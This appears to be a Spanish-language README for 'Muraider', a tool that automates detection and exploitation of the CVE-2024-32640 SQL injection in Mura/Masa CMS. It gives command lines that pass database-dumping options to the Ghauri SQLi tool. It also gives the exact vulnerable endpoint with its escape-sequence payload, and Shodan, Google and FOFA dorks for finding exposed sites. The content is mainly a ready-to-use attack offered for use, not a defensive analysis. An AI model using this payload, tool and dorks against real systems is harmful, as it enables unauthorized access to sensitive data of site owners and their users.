Muraider - Automatización de la detección y explotación de CVE-2024-32640 \ SQLi en Mura/Masa CMS

Uso

Detección:

python3 CVE-2024-32640.py --url https://target.com/

Explotación con Ghauri (Pasar '-g' o '--ghauri' como argumento):

Ingrese cualquier argumento que desee usar con Ghauri, siguiendo su lista de argumentos:

python3 CVE-2024-32640.py --url https://target.com -g "--dbs --current-db"

python3 CVE-2024-32640.py --url https://target.com --ghauri "--dbs --current-db"

Ejemplo

Automatización de SQLi con Ghauri:

Usando la detección que he implementado en la herramienta, podemos usar el objetivo vulnerable para explotarlo en Ghauri. El script automatiza este proceso, analizando toda la información del objetivo necesaria en una llamada a Ghauri.

Detalles

Agregando una secuencia de escape (%5c) al valor del parámetro de consulta HTML contenthisid, podemos verificar si un objetivo es vulnerable a este SQLi.

Una explotación exitosa podría conducir a un acceso no autorizado a datos sensibles.

URL: https://target.com/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c'&previewID=x

Dorks

Consulta Shodan: 'Generator: Masa CMS'

Google: "powered by Mura CMS"

FOFA: app="Mura-CMS"

Referencias:

https://twitter.com/HunterMapping/status/1790620695371911388

https://www.seebug.org/vuldb/ssvid-99835